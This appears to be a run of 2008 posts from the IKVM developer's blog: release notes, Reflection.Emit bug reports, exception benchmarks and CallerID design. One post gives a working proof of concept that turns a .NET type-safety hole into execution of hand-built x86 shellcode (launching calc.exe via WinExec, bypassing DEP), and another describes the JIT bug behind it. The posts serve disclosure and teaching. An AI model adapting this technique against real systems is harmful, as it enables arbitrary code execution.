I've only had to make a couple of minor changes to the ikvmc sources (apart from changing using System.Reflection.Emit; to using IKVM.Reflection.Emit; in every file) to account for the fact that IKVM.Reflection.Emit.ModuleBuilder and IKVM.Reflection.Emit.AssemblyBuilder unfortunately cannot extend System.Reflection.Module and System.Reflection.Assembly. However, it looks like this is fixed in the .NET 4.0 CTP.

Here are some random statistics about compiling IKVM.OpenJDK.ClassLibrary.dll on .NET 2.0 SP2 x64:

  System.Reflection.Emit     IKVM.Reflection.Emit  
File size 31,645,696 30,480,896   bytes
CPU time used 272 35   seconds
Peak virtual memory 1,433,399,296 1,035,018,240   bytes
Generation 0 GCs 770 896  
Generation 1 GCs 201 240  
Generation 2 GCs 11 8  

(The huge memory usage is not because it actually needs that much memory, but simply the result of the fact that garbage collection is more efficient if you have more memory available and that my system had about 1.5GB of free memory while running these tests.)

The smaller file size is because System.Reflection.Emit always uses fat method headers and IKVM.Reflection.Emit uses tiny method headers whenever possible.

There is still some work left to do, I've only spent limited time on debugging support and there is no support for Mono's .mdb format yet. I also haven't done any testing on Mono yet.

BTW, thanks to Sebastien Pouliot for code I lifted from Mono to parse strong name CAPI key blobs.

Other changes in this snapshot:

  • Dropped support for Visual Studio 2005.
  • Added error message when map.xml references non-existing constructor.
  • Added more statistics to ikvmc -time option output.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3240.zip

11/14/2008 10:01:50 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 12, 2008

IKVM 0.38 Release Candidate 2

A codegen bug was found (not a regression, so there will be a 0.36 update as well) so here's another release candidate.

Changes:

  • Changed version to 0.38.0.2.
  • Fixed openjdk.build BOM issue on Linux.
  • Fixed jsr verifier bug that caused incorrect codegen under very specific circumstances (thanks to Brian Schwallier for tracking down a repro).

Binaries available here: ikvmbin-0.38.0.2.zip
Sources (+ binaries): Sources: ikvm-0.38.0.2.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

11/12/2008 6:13:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, November 05, 2008

IKVM 0.36 Update 2 Release Candidate 2

As announced when 0.36 was released, I will periodically release updates to 0.36 as long as there is enough interest in .NET 1.1 support.

This is the second release candidate of the second update.

Changes (all are back ported fixes):

  • Changed version to 0.36.0.13.
  • Fixed ikvmc not to open the key file for write access.
  • Added more efficient float/double to/from int/long bits converters.
  • Fixed libikvm-native.so build to include reference to gmodule-2.0 library.
  • Fixed ikvmc not to open the key file for write access.
  • Fixed Graphics2D.rotate() to convert rotation angle from radians (Java) to degrees (.NET).
  • Applied awt patch #1979656 by Daniel Wilson.
  • Fixed three String bugs found by OpenJDK string tests.
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed incorrect DataFormatException thrown in java.util.zip.InflaterHuffmanTree.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final.

Binaries available here: ikvmbin-0.36.0.13.zip
Sources (+ binaries): ikvm-0.36.0.13.zip

11/5/2008 10:08:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 04, 2008

IKVM 0.38 Release Candidate 1

A couple of minor fixes.

Changes since RC0:

  • Updated version to 0.38.0.1
  • Hide nested types generated by callerID support
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final
  • Fixed reflection to work on .NET 2.0 RTM

Note that even though I fixed reflection to work on .NET 2.0 RTM, it still isn't a supported platform, I strongly recommend .NET 2.0 SP1 or higher.

Binaries available here: ikvmbin-0.38.0.1.zip

Sources: ikvm-0.38.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

11/4/2008 6:36:51 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, September 26, 2008

More Reflection.Emit Brokenness

Pardon me if I sound a little bitter today, but I just wasted almost a full day trying to work around this bug only to be stopped by yet another bug that makes it impossible to generate two mutually dependent assemblies with Reflection.Emit.

Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly source:

public override int GetHashCode() { return base.GetHashCode(); }

Why would you want to do that? Oh, of course! It's to get rid of a compiler warning... If you override Equals() you should also override GetHashCode(), BUT NOT LIKE THIS.

Here's small program that demonstrates the problem:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A"),
                            AssemblyBuilderAccess.Run);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A.dll");
    TypeBuilder tb1 = mod1.DefineType("T");
    Type type = tb1.CreateType();
    Console.WriteLine(ab1.Equals(type.Assembly));
    Console.WriteLine(ab1.GetHashCode() == type.Assembly.GetHashCode());
  }
}

This prints out:

True
False

That clearly violates the Object.GetHashCode() contract.

9/26/2008 8:47:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, September 24, 2008

IKVM 0.38 Release Candidate 0

As with previous release candidates, this release includes strong named binaries and is considered to be (nearly) ready for production use. Please test this version and give feedback as soon as possible.

Changes since previous snapshot:

  • Changed version to 0.38.0.0 and strong named binaries.
  • Added missing HTMLEntities.res resource.
  • Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod invokes a method or gets/sets a field.

Binaries available here: ikvmbin-0.38.0.0.zip

Sources: ikvm-0.38.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

9/24/2008 8:07:13 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, September 22, 2008

Running JaC64

JaC64 is a open source Commodore 64 emulator written in Java. I have many fond childhood memories of my C64, so I spent a little time fixing a couple of AWT issues and hacking together some sound support for ikvm. The sound patch is here, but it won't go in because it is essentially hard coded for JaC64 and even then it doesn't really work, because it turns out that .NET has no decent sound API. The only API available is SoundPlayer, but it has an unacceptable latency (and can only play one sample at a time, so you can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then plays these back to back. This means that you hear sound, but it is very choppy.

Two obligatory screen shots, first the emulator application and second just the C64 screen of my favorite game:

9/22/2008 7:19:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

New Development Snapshot

This is the final development snapshot before the first 0.38 release candidate.

Changes since previous development snapshot:

  • Updated to OpenJDK 6 b12.
  • Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.
  • Removed hardcoded PublicKey from build process.
  • Fixed ikvmc regression that caused using .NET generic types not to work.
  • Added support to ikvmc for recognizing "access" bridge methods, so that they aren't hidden from other .NET code.
  • Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but building on Mono 2.0 is not supported due an open bug.

Binaries available here: ikvmbin-0.37.3187.zip

The OpenJDK 6 b12 (re)source file needed to build from source are available here: openjdk6-b12-stripped.zip

9/22/2008 6:51:27 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, September 13, 2008

Writing a .NET Security Exploit PoC

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internal volatile int i;
  internal volatile int j;
}

class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
  [FieldOffset(0)]
  internal Union1 u1;
  [FieldOffset(0)]
  internal Union2 u2;
}

static Union1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = new UnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.


u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.


byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

9/13/2008 9:03:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Friday, September 12, 2008

Critical .NET Security Vulnerability

While browsing the Rotor sources yesterday, I noticed something that looked like a potential security issue. After writing some test code I confirmed that it was indeed a problem. Like last time, it's a bug that allows you to compromise type safety.

Previously I promised to write more about the issue after the fix was released, but I never got around to it, partly because security issues aren't very exciting anymore after they've been fixed.

BTW, my "no Microsoft bug filing policy" doesn't apply to security issues, so I've notified the Microsoft Security Response Center of the issue.

Anyway, I thought this would be a good opportunity to look at the previously fixed issue and demonstrate how a type safety hole leads to arbitrary code execution and makes it trivial to bypass both DEP and ASLR.

Discovering the Bug

This is the hard part. Contrary to popular belief, Microsoft writes pretty secure code nowadays. I found the issue because an IKVM user reported a problem with some code that worked with JIT optimizations disabled, but mysteriously failed when JIT optimizations were on. Debugging this issue led to misbehaving code similar to this:

    if (arr1[index * 3 + 5] != null)
    {
      Union1 u1 = arr1[index * 3 + 5];

Due to a JIT bug the second array indexing expression was incorrectly applied, resulting in the ability to read a value outside of the array bounds.

Type Safety

Due to the predictability of memory allocation in managed code, it is easy to allocate two arrays of different types and then use the above bug to access an element from one array through a reference to the other array. This gives you the ability to perform a cast that otherwise wouldn't be allowed.

Once you have this ability, it can be easily abused. For example, you could create a class like this:

class StringHack
{
    public int arrayLength;
    public int stringLength;
    public char ch1;
    public char ch2;
}

If you now obtain a reference typed as StringHack to a real string object, you have the ability to alter the contents of the string (well, the first two characters in this example).

However, it's not just the .NET access restrictions that can be bypassed, you can also use this trick to execute arbitrary machine code.

Next time we'll look at a PoC that, given a type safety hole, will allow you to call WinExec to start any application from partially trusted .NET code.

9/12/2008 9:41:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 01, 2008

New Development Snapshot

Lots of cleanup and restructuring. Removed most .NET reflection (almost everything is now based on DynamicMethod) and improved support for running in partial trust.

Changes since previous development snapshot:

  • Switched almost all code to using generic collections.
  • Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a LocalIndex property.
  • Added multi target support to ikvmc (although it is currently disabled, because of a showstopper .NET Ref.Emit bug).
  • Replaced usage of BootstrapClassLoader with actual class loader in static compiler.
  • Moved generated exception mapping code from ExceptionHelper to Throwable and made it slightly less hacky.
  • Replaced mapxml Hashtable with three statically typed Dictionaries.
  • Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader field depend on whether we're compiling the runtime or ikvmc.
  • Removed unused per-type class caching.
  • Added helper methods to no longer require reflection to instantiate DirectByteBuffer from JNI.
  • Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation couldn't handle ghost types.
  • Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.
  • Changed JNI reflection to be based on Java reflection (where possible).
  • Removed "slow" reflection.
  • Removed MethodWrapper.Invoke().
  • Removed FieldWrapper.GetValue()/SetValue().
  • Added ICustomInvoke for the few MethodWrappers that still require custom reflection invocation.
  • Removed class init workaround that is no longer required since .NET 2.0 SP1.
  • Removed GNU Classpath specific code that I missed.
  • Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.
  • Fixed VFS root directory entry.
  • Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now on IKVM).
  • Forked java/nio/Bits.java to remove unsafe code from static initializer.
  • Moved all creations of DynamicMethod to util method that uniformly handles the fallback to the new .NET 2.0 SP1 constructor that support partial trust.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3166.zip

9/1/2008 9:04:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Wednesday, August 27, 2008

Cecil Conclusion

I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.

Now, I'm not knocking Mono.Cecil because of its performance, because I think the design was based on making it easy to load an assembly, tweak it and write it back out again. For that application the design makes a lot of sense, but it is less efficient for a write only task.

However, I did have to conclude that Mono.Cecil is not mature enough for usage with ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's brokenness and I found that it doesn't properly support custom modifiers.

What Next

Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi target support in ikvmc, I think it makes sense to start working on the 0.38 release now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release. I know this will disappoint some people, especially since it grew by about 4.7MB again (mostly due to the inclusion of the charsets.jar character encodings).

I don't have a timetable, but don't expect the release tomorrow. It'll be a while. First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing needs to be done.

8/27/2008 6:11:46 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, August 12, 2008

Using Mono.Cecil instead of Reflection.Emit in IKVMC

I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc. Preliminary results:

  • It looks like it is feasible to replace "using System.Reflection.Emit;" with "using Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through the code.
  • Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi module assemblies, support for calli signatures [AFAICT], support for byte[] arguments in custom attributes)
  • Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit (which, on .NET, is already pretty slow).

I'm pretty sure there are more issues waiting to be discovered, but these I found while trying to compile a relatively simple .class file. I got it to generate a verifiable assembly using the following ikvmc command:

        ikvmc test.class -target:library -nostacktraceinfo

If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative to current cvs) can be found here.

At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the best use of my time. I may have to put the multi assembly feature of ikvmc on the back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).

On a more possitive note, doing this work made me realize that ConstructorBuilder is a useless annoyance and I can simplify some ikvm code by only using MethodBuilder (it turns out that DefineMethod can also be used to define a constructor).

Well, I will be able to do this once Mono's DefineMethod is fixed so that it notices that a constructor is created and not insert another default constructor.

Update: Zoltan already fixed the Mono bug. Thanks!

Update 2: Jb Evain pointed out that global methods are supported (simply add the methods to the <Module> type) and that calli is supported via Mono.Cecil.CallSite.

8/12/2008 5:39:21 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, August 10, 2008

Reflection.Emit Bug

I started working on support for compiling multiple assemblies at once with ikvmc (to support mutual depedencies) and ran into a rather annoying bug:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A1"), AssemblyBuilderAccess.Save);
    AssemblyBuilder ab2 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A2"), AssemblyBuilderAccess.Save);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A1");
    ModuleBuilder mod2 = ab2.DefineDynamicModule("A2");

    TypeBuilder tb1 = mod1.DefineType("T1");
    TypeBuilder tb2 = mod2.DefineType("T2");

    ConstructorBuilder cb1 = tb1.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, null);
    ConstructorBuilder cb2 = tb2.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, new Type[] { tb1 });

    ILGenerator ilgen = cb1.GetILGenerator();

    ilgen.Emit(OpCodes.Ldnull);
    ilgen.Emit(OpCodes.Newobj, cb2);
  }
}

Running this on .NET 2.0 SP1 results in:

Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130): Record not found on lookup. (Exception from HRESULT: 0x80131130)
   at System.Reflection.Module._InternalGetMemberRef(Module refedModule, Int32 tr, Int32 defToken)
   at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo con, Boolean usingRef)
   at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method, Type[] optionalParameterTypes)
   at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo con)
   at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23

The "no Microsoft bug filing" policy is still in effect, so I won't be filing a bug with Microsoft for this.

Workaround

For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo subclass that represents the constructor you want to call, if you do that ILGenerator.Emit() will end up in a different code path to lookup the token and that code path does work.

I haven't tried it, but I assume this workaround also works for methods and fields.

I think that for ikvmc I won't be using this workaround, but instead I'll treat this as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.

8/10/2008 10:02:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, August 07, 2008

New Development Snapshot

Time for another snapshot.

Changes since previous development snapshot:

  • Removed support for building with GNU Classpath class library.
  • DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.
  • DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors (when not connected).
  • DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET while connected.
  • Various java.util.zip compatibility and bug fixes.
  • Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for Exception types that don't have a finalize() method.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Fixed file I/O error handling incompatibilities.
  • Added ghost array tagging to be able to report the instantiated class (instead of the object[] which is allocated instead).
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed Mono workarounds that are no longer needed with Mono 2.0.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3141.zip

8/7/2008 8:13:00 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 09, 2008

PDC

I'll be at the PDC again this year. Drop me a line if you're going and want to meet me there to chat (or to buy me a beer ;-)).

Meet me in Los Angeles -- PDC 2008

7/9/2008 7:35:32 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, June 30, 2008

Exception Performance Part 2

Last time we saw that CLR exception handling is significantly slower than HotSpot exception handling. This time we'll look at two very variations of the ExceptionPerf1 microbenchmark that significantly affect performance.

I've highlighted the changes.

Variation 1

public class ExceptionPerf2 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt("");
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Variation 2

public class ExceptionPerf3 {
  static NumberFormatException exc;
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
        exc = x;
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

      HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
ExceptionPerf1 111 14743 3590 537
ExceptionPerf2 140 15735 10761 36309
ExceptionPerf3 112 14946 9728 24107


.NET/Mono results with IKVM 0.36

Why do these small changes have such a big perf impact?

Both these changes result in additional stack trace data being collected. IKVM has some optimizations that prevent gathering stack traces in very specific circumstances. Normally when you create a Java exception object, the Throwable constructor will call Throwable.fillInStackTrace(). However, since this is a very expensive operation, IKVM tries to remove this call when it is unnecessary (i.e. when it sees that you immediately throw the exception and the exception type doesn't override Throwable.fillInStackTrace()). Additionally, in Java an exception object will always have the complete stack trace, but a .NET exception only has the stack frames from the throw to the catch site. This means that at the catch site IKVM will collect the rest of the stack trace, unless the exception object isn't used (as in the ExceptionPerf1 microbenchmark).

The time it takes to collect a stack traces obviously depends on the call stack depth, so let's look at a microbenchmark to measure that effect:

class ExceptionPerf4 {
  public static void main(String[] args) {
    nest(Integer.parseInt(args[0]));
  }

  static void nest(int depth) {
    if (depth > 0) {
      nest(depth - 1);
    } else {
      run();
    }
  }

  static void run() {
    Exception x = new Exception();
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      x.fillInStackTrace();
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

Depth     HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
1 64 2930 4611 19377
10 85 3814 6787 34895
100 380 12500 27935  
1000 3543      

For the curious, the IKVM implementation of Throwable.fillInStackTrace() is essentially new System.Diagnostics.StackTrace(true);

Next time we'll wrap things up.

6/30/2008 9:22:06 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, June 25, 2008

Exception Performance Part 1

One area where IKVM performance is much worse than HotSpot is in throwing and catching exceptions. This blog is the first of three that will look into why this is the case.

We start out with two microbenchmarks to highlight the differences.

Java

public class ExceptionPerf1 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

C#

using System;

class ExceptionPerf1 {
  public static void Main(string[] args) {
    int start = Environment.TickCount;
    for (int i = 0; i < 100000; i++) {
      try {
        throw new Exception();
      }
      catch (Exception) {
      }
    }
    int end = Environment.TickCount;
    Console.WriteLine(end - start);
  }
}

Results:

      HotSpot 1.6 x86     .NET 1.1 SP1     .NET 2.0 SP1 x86     Mono 1.9 x86
Java* 111 14743 3590 537
C#   11139 2605 187


*.NET/Mono results with IKVM 0.36

This shows that the situation on the CLR is pretty bad. If you care about exception throwing performance, please complain to Microsoft instead of to me. Although I expect that they'll tell you not to throw so many exceptions. ;-)

On the next episode we'll see that the above microbenchmark is actually a best case scenario for IKVM and we'll see how things can get much worse...

6/25/2008 12:40:19 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Useful Tool

Andy Malakov wrote an Ant task for ikvmc. It also contains a doclet that can generate an xml mapping file that contains all the parameter names that ikvmc can then attach to the .NET methods (ikvmc already does this for methods with debugging information, but that doesn't work for abstract methods).

Good stuff!

6/25/2008 9:08:54 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, June 13, 2008

New Development Snapshot

I've finally updated to a new drop of OpenJDK. If you want to build IKVM from source you'll need the directory resulting from a full build of OpenJDK 6 b10 on Linux AMD64 (although I suppose that if you change the paths in ikvm/openjdk/allsources.lst you'll be able to use an x86 version as well). At some point I'll release a zip file containing just the needed artifacts, but that will take some more time.

IKVM.OpenJDK.ClassLibrary.dll grew in size to 31,657,984 bytes, mostly because the character de-/encoders that live inside charsets.jar are now included as well. I know size is a big issue for many people and as previously discussed I'm still planning to split the class library assembly into several different files.

Changes since previous development snapshot:

  • Integrated OpenJDK 6 b10.
  • Fixed Method.getParameterAnnotations() bug introduced by CallerID support.
  • Changed forked AbstractQueuedSynchronizer to use AtomicReferenceFieldUpdater instead of map.xml based compareAndSet methods to reduce the number of differences between upstream and our version.
  • Fixed three String bugs found by OpenJDK string tests.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3086.zip

6/13/2008 11:58:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Wednesday, June 04, 2008

New Development Snapshot

Changes since previous development snapshot:

  • Code clean up and refactoring.
  • Removed security asserts in JVM.CriticalFailure, because they no longer work now that IKVM.Runtime is security transparent.
  • Implemented CallerID infrastructure.
  • Marked various methods with HasCallerID annotation.
  • Applied awt patch #1979656 by Daniel Wilson.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

If you want to run this version on Mono, you'll need a Mono version built from recent svn, it does not work on Mono 1.9.

Binaries available here: ikvmbin-0.37.3077.zip

6/4/2008 7:24:21 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 02, 2008

Introducing CallerID Part 3

This is the last part of a three part backward running series on the design, implementation and performance results of the CallerID feature.

How To Pass Information From Caller To Callee

The obvious solution is to use a method parameter, but in this case there is a slight complication: We can't necessarily trust the caller to provide truthful information.

The first scheme I came up with was something like this:

class CallSiteExample {
  private static CallerID __callerID;

  static void method() {
    Class.forName("...", ref __callerID);
  }
}

Here CallerID would be a value type defined in IKVM.Runtime and its content (a Class and ClassLoader reference field) would only be accessible to the runtime and core class library. Inside the callee there would be a check to see if the required field in the CallerID value had been initialized and if not, it would walk up the stack to determine the caller and store the result in the CallerID value.

The obvious downside of this scheme is that it would still require a stack walk the first time a call site does a call. A less obvious downside is that this approach makes it harder to pass the CallerID to another method. This is used in a couple of places where the callee doesn't do the actual work of looking at the caller. Take for exampe java.lang.reflect.Field.get():

@ikvm.internal.HasCallerID
public Object get(Object obj)
    throws IllegalArgumentException, IllegalAccessException
{
    return getFieldAccessor(obj, CallerID.getCallerID()).get(obj);
}

Here the actual access check is in getFieldAccessor (actually, it in turn calls another method to do the security check) and I used the CallerID.getCallerID() intrinsic to pass the implicit callerID parameter explicitly to this other method. Doing this with the value type byref approach would have made this a lot harder.

Nested Types

The design sketched above is actually fairly old, but I had never implemented it due to a nagging feeling that it wasn't quite right. I think my primary concern was that it didn't actually get rid of the stack walk, it only reduced them to at most one per caller. Last week as I was helping someone with a problem that turned out to be caused by a stack walking issue on Mono running on ARM I realized that I should get rid of the stack walk altogether and came up with the trick of using a nested type to create an unforgeable token to represent a class.

Reflection

Another instance of passing around the CallerID is found in reflection. When you call a method via reflection, the immediate caller of that method will, of course, be some VM internal method or Method.invoke() depending on the exact implementation, so the stack walking mechanism that the JDK (and previous IKVM versions) use skips all stack frames related to reflection to get to the real caller. However, with the new scheme, Method.invoke() already gets passed in the CallerID, so it would be a shame not to use this and, of course, it is trivial to pass this value along to the call stub which can then (if required) pass it along to the method being called.

Why the Explicit HasCallerID Annotation?

I could have made ikvmc add the implicit CallerID parameter to every method that calls one of the intrinsics that return the caller, but this has three downsides. The first is that it would have made compiling the core class library slower, because ikvmc would have had to check every method to see if it calls one of these intrinsics (the .NET method signature gets determined way before the method body is processed). The second is that since the additional parameter is, in a sense, part of the public API it should be a conscious decision. The third reasons is that the implicit approach doesn't work with methods that indirectly look at the caller, like the Field.get() example above, so I would have needed to add a mechanism for that anyway.

Limitations

The current implementation doesn't support adding a CallerID parameter to constructors. This is simply the result of the fact that there aren't any constructors that require CallerID that I'm aware of. Another limitation is that the HasCallerID annotation is only recognized for static methods or instance methods on final classes. This means that ClassLoader.getParent() doesn't currently have CallerID support, even though it does want to look at the caller if there is a security manager installed.

Security Considerations

While it's generally not possible to inject a nested type into an arbitrary type, it may be possible to trick another (dynamic) CLR language into creating such a type. However, I think the risk of that is sufficiently low to make it acceptable.

Another risk is that someone may steal a CallerID object from another type and try to impersonate that type. Since .NET 2.0 SP1 it is actually possible for partially trusted code to use reflection to access private fields if you have the RestrictedMemberAccess permission and both assemblies have the same security grant set. However, since this requires .NET reflection (the callerID field isn't visible from the Java reflection APIs) and there already are several ways to bypass Java's security model by directly using .NET APIs this is also a non-issue.

Finally, it is not possible for untrusted Java code to use the HasCallerID annotation, because ikvmc only recognizes the HasCallerID annotation while compiling the core class library and the IKVM runtime only recognizes CallerID methods in the core class library.

6/2/2008 8:20:41 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Sunday, June 01, 2008

Introducing CallerID Part 2

